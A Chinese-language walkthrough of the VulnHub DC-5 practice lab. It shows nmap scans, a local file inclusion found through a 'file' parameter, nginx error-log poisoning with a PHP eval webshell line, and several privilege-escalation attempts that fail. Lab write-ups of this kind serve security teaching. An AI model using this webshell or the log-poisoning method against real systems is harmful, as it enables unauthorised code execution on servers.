靶场下载
https://download.vulnhub.com/dc/DC-5.zip
信息收集
# nmap -sn 192.168.1.0/24 -oN live.port
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-21 20:56 CST
Nmap scan report for 192.168.1.1 (192.168.1.1)
Host is up (0.00057s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 0bcc61d9e6ea39148e78c7c68571e53 (192.168.1.2)
Host is up (0.00036s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.1.92 (192.168.1.92)
Host is up (0.00028s latency).
MAC Address: 00:0C:29:45:22:BD (VMware)
Nmap scan report for 192.168.1.254 (192.168.1.254)
Host is up (0.00021s latency).
MAC Address: 00:50:56:F3:42:A3 (VMware)
Nmap scan report for 192.168.1.60 (192.168.1.60)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.98 seconds
判断到存活主机的IP地址为192.168.1.92
# nmap -sT --min-rate 10000 -p- 192.168.1.92 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-21 20:56 CST
Nmap scan report for 192.168.1.92 (192.168.1.92)
Host is up (0.0037s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
38242/tcp open unknown
MAC Address: 00:0C:29:45:22:BD (VMware)
开放端口信息为80 111 38242 其中111端口是远程过程调用 探测一下UDP端口信息:
# nmap -sU --min-rate 10000 -p- 192.168.1.92 -oN UDP.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-21 20:58 CST
Warning: 192.168.1.92 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.1.92 (192.168.1.92)
Host is up (0.00086s latency).
Not shown: 65455 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT STATE SERVICE
111/udp open rpcbind
35126/udp open unknown
MAC Address: 00:0C:29:45:22:BD (VMware)Nmap done: 1 IP address (1 host up) scanned in 72.80 seconds
UDP端口探测,会发现开放了两个端口:分别是111 端口和 35126端口!
# nmap -sT -sC -sV -O -p80,111,38242 192.168.1.92 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-21 20:58 CST
Nmap scan report for 192.168.1.92 (192.168.1.92)
Host is up (0.00047s latency).PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-title: Welcome
|_http-server-header: nginx/1.6.2
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 35126/udp status
| 100024 1 38242/tcp status
| 100024 1 48330/tcp6 status
|_ 100024 1 52887/udp6 status
38242/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:45:22:BD (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (98%), Linux 3.10 - 4.11 (94%), Linux 3.13 (94%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%), Linux 3.2 - 3.16 (94%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Linux 3.2 - 3.10 (93%), Linux 4.2 (93%), Linux 3.13 - 3.16 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
端口详细信息探测,80端口上是nginx 1.6.2 剩下的两个端口便是rpc的相关服务
# nmap -sT --script=vuln -p80,111,35242 192.168.1.92 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-21 21:00 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.92 (192.168.1.92)
Host is up (0.00034s latency).PORT STATE SERVICE
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.92
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.92:80/contact.php
| Form id: fname
|_ Form action: thankyou.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
111/tcp open rpcbind
35242/tcp closed unknown
MAC Address: 00:0C:29:45:22:BD (VMware)
默认漏洞脚本信息的探测结果没什么价值信息,csrf漏洞在我们渗透测试过程中,难以利用;这里还是先在80端口上寻找突破点!
渗透测试
访问80端口上的服务:
发现了存在几个功能点,分别是home solutions about us FAQ Contact!
contact页面可以提交相关信息!尝试随便提交数据:
上面的URL发生了变化;页面上的内容也不是英语,不知道什么语言~ 做一下例行的目录扫描:
目录扫描的结果还是上面的几个文件!多了一个footer文件:
这里发现这个文件的内容一直在变化!
刷新就会不一样了。前面的页面底部都是存在这个footer的!但是这里我并不知道他是怎么去进行的包含;看了大佬们的wp,也没说明白为什么参数是file,而且前面其他的页面也是存在这个下标的,我其实不理解是怎么一步步测出来的~
他是通过file这个参数去包含footer.php文件的,从而thankyou.php文件中的内容会出现这个footer下标!既然这里包含了footer.php文件,那么就可能存在任意文件包含漏洞!
尝试修改为file=/etc/passwd
这里可以看到文件包含成功了!那么我们可以尝试去包含ngnix的日志文件! 尝试包含日志文件/var/log/nginx/access.log的时候,弹窗了;
不知道具体原因是什么? 是出错了吗? 再换一个文件包含:
/var/log/nginx/error.log
没问题,可以包含成功!可以看到错误日志中 我们的请求是记录在了里面,那么我们就可以写马到错误日志中了!
尝试直接将反弹shell写进去!尝试起监听,在访问错误日志进行包含!但是没执行成功:
写进去了,但是没执行成功~ 直接扔上一句话木马:
还是没能成功执行,修改一下:
<?php @eval($_POST['x']);?>
最终是执行成功了!直接exec反弹shell应该可以了吧:还是不行 好奇怪这里,直接上蚁剑!
连接成功了!这里我还是不想动用msf上传木马,还是上传一个php反弹shell的代码上去吧:
写好代码之后,尝试上传,但是蚁剑上传失败;于是攻击机起简单的http服务,利用命令行进行下载:
但是当前目录下没有权限!cd到tmp目录下,再次尝试:
下载下来之后,赋予执行权限!发现执行的时候,并没有成功,回去一看文件居然还是空文件~
先看看etc/passwd文件,里面存在几个活跃的用户!
发现了存在一个用户是dc!
提权
做提权准备吧;直接生成msf的木马,利用wget上传到靶机上,从而执行!
给与执行的权限:
启动msf,然后配置好监听!
确定目标的靶机就是我们的目标:
有python!准备利用python提升shell的交互性!
查看计划:
没有计划任务,查看一下suid文件:
暂时没发现有什么可以利用的,多个文件都没见过,不知能否进行利用~
内核版本比较低,可以尝试内核提权~ searchsploit进行搜索,定位到如下的两个exp,先来尝试一下:
但是两个exp全部执行失败了~ 这里上传了linpeas进行提权的信息枚举:
尝试一下脏牛吧!上传exp,进行编译https://github.com/FireFart/dirtycow
执行:
但是我接下来去查看/etc/passwd文件的内容的时候,并没有发现创建用户成功:
还是失败了。看了下mysql也不是root起的;于是乎看了wp~ 这里涉及到了一个自己没见过的suid文件提权!回到suid文件上:
利用searchsploit进行搜索:
存在本地权限提升漏洞!下载下来之后:
需要创建两个文件:libhax.c
然后按照他的要求进行编译,分别生成libhax.so rootshell 再上传到靶机:
之后创建启动脚本:
将三个文件全部进行上传:
这里比较乱了,因为尝试了很多种方式去提权;赋予执行权限!
然后执行脚本!但是我这里出现了报错,缺少GLIBC_2.34这个库!我怀疑是我的kali版本过高导致的!因此我们可以直接上传libhax.c 和 rootshell.c两个脚本到靶标!在靶标上执行编译操作!这里是我的想法,不知道对不对~ 或者是降低kali的版本?用和靶机差不多的环境进行编译?
因此这个靶机完成的不到位~ 最终没能实现提权!看了网上的大佬们的提权是这样做的,之前我遇到过这种情况,应该上面的两种解决方法是可行的。